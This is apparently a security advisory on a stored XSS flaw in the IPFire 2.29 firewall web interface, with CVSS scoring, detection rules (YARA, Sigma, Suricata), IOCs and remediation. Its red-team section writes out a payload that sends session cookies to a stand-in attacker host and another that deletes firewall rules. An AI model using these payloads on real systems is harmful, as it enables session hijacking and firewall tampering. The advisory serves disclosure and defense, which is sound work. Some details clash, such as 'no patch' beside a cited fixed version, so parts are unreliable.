CVE-2025-50975

Executive Summary

CVE-2025-50975 is a critical Stored Cross-Site Scripting (XSS) vulnerability identified in the IPFire 2.29 web-based firewall interface (firewall.cgi). An authenticated administrator with high-privilege GUI access can inject persistent JavaScript payloads through multiple unsanitized rule parameters, including PROT, SRC_PORT, TGT_PORT, dnatport, key, ruleremark, src_addr, std_net_tgt, and tgt_addr. The injected script executes whenever another administrator views the firewall rules page, enabling session hijacking, unauthorized actions within the interface, or further internal network pivoting. The attack complexity is low, and no patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the IPFire Linux distribution's core web interface. The risk is amplified by the lack of an official patch, making it a supply chain concern for organizations relying on IPFire as their firewall solution.

CVSS Breakdown & Threat Level

• CVSS Score: 8.0 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – An authenticated administrator account is needed.
• User Interaction (UI): Required – The victim must view the firewall rules page.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Session hijacking can expose sensitive data.
• Integrity (I): High – Unauthorized actions can be performed.
• Availability (A): High – The attacker can disrupt firewall operations.

Threat Level: High. The vulnerability allows persistent XSS with high impact, and exploitation requires only low complexity.

Deep Dive & Mechanics

The vulnerability resides in the firewall.cgi script, which handles the creation and editing of firewall rules. The script fails to sanitize user-supplied input for multiple parameters before storing them in the backend configuration. When an administrator views the firewall rules page, the stored payloads are rendered without proper encoding, allowing JavaScript execution in the context of the victim's session.

Key Parameters Affected:

• PROT (protocol)
• SRC_PORT (source port)
• TGT_PORT (target port)
• dnatport (DNAT port)
• key (rule key)
• ruleremark (rule remark)
• src_addr (source address)
• std_net_tgt (standard network target)
• tgt_addr (target address)

Attack Flow:

1. An authenticated admin crafts a malicious payload (e.g., <script>alert('XSS')</script>) in one of the vulnerable parameters.
2. The payload is stored in the firewall configuration database.
3. When another admin navigates to the firewall rules page, the payload is executed.
4. The attacker can then steal session cookies, perform actions on behalf of the victim, or pivot to internal systems.

Vulnerable vs. Patched Code

Vulnerable Code (IPFire 2.29): The firewall.cgi script directly outputs user input without sanitization. For example:

# Vulnerable: Direct output without encoding
print "<td>$ruleremark</td>";

Patched Code (Hypothetical): The patched version would use HTML encoding or a sanitization library:

# Patched: HTML-encode output
use CGI qw(escapeHTML);
print "<td>" . escapeHTML($ruleremark) . "</td>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an IPFire 2.29 instance with admin credentials.
• A web browser with developer tools.

Exploitation Steps:

1. Log in to the IPFire web interface as an admin.
2. Navigate to Firewall → Rules.
3. Click Add new rule.
4. In the Remark field, inject the following payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Set other parameters as needed and save the rule.
6. Wait for another admin to view the rules page. The payload will execute, sending the victim's session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/cgi-bin/firewall.cgi', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=delete&rule=1');
</script>

Blue Team

Detection:

• Monitor for unusual firewall rule additions with suspicious content in remark fields.
• Use web application firewalls (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search logs for requests containing <script> tags in rule parameters.
• Review firewall rule configurations for encoded or obfuscated JavaScript.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to attacker-controlled domains from the IPFire interface.
  • HTTP requests containing <script> tags in POST data to /cgi-bin/firewall.cgi.
• File IOCs:
  • Modified firewall configuration files containing JavaScript payloads.
  • Suspicious entries in /var/log/ipfire/firewall.log with unusual characters.
• Behavioral IOCs:
  • Unexpected firewall rule changes by privileged users.
  • Session anomalies, such as multiple logins from different IPs.

Detection Engineering

YARA Rule

rule CVE_2025_50975_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in IPFire firewall rules"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50975"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: IPFire Firewall Rule XSS Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject XSS payloads into IPFire firewall rule parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/cgi-bin/firewall.cgi'
        cs-params|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in rule remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50975 IPFire Firewall Rule XSS Injection"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/firewall.cgi"; http_uri; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict GUI Access: Limit administrative access to trusted IP addresses only.
2. Input Validation: Manually sanitize all rule parameters before saving. Use a proxy to strip HTML tags.
3. Web Application Firewall: Deploy a WAF to block XSS patterns in POST requests to firewall.cgi.

Long-Term Fix:

• Apply the official patch from IPFire when available.
• Upgrade to a patched version of IPFire (e.g., 2.31 or later).
• Implement Content Security Policy (CSP) headers to prevent inline script execution.

Workaround:

• Disable the firewall rules page for non-essential admins.
• Use SSH-based firewall management instead of the web interface.

Valters IT